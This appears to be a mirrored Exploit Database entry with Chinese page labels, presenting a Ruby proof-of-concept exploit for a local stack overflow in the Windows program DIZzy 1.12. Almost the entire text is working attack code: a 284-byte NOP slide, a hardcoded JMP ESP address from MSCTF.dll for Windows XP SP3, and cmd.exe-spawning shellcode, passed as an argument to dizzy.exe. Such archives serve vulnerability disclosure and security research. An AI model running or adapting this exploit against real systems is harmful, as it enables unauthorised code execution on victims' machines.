DIZzy 1.12 – Local Stack Overflow

• Exploit Database
• 91 阅读

• 作者： g30rg3_x
  日期： 2010-11-18
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/15566/

• #!/usr/bin/ruby
  # Exploit Title: DIZzy 1.12 Local Stack Overflow
  # Google Dork: n/a
  # Date: 17/11/2010
  # Author: g30rg3_x
  # Version: 1.12
  # Tested on: Windows XP SP3 Eng/Spa
  # CVE: n/a
  # Notes: Bug was originally found on 22/02/2010 but since there is no response from
  #developers it goes public.
  
  # win32/xp sp2 cmd.exe 57 bytes - Mountassif Moad aka Stack
  # http://www.exploit-db.com/exploits/13511/
  shellcode= "\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC" +
   "\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45" +
   "\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45" +
   "\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45" +
   "\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3"
  
  # Preparing the exploit...
  nop_slide= "\x90" * 284
  nop_slide2 = "\x90" * 17
  jmp_esp= "\x73\x18\x6E\x74" # win32/xp sp3 MSCTF.dll: JMP ESP
  exploit= nop_slide + jmp_esp + nop_slide2 + shellcode
  executable = 'dizzy.exe'
  
  # Boom!
  exec(executable, exploit)
  

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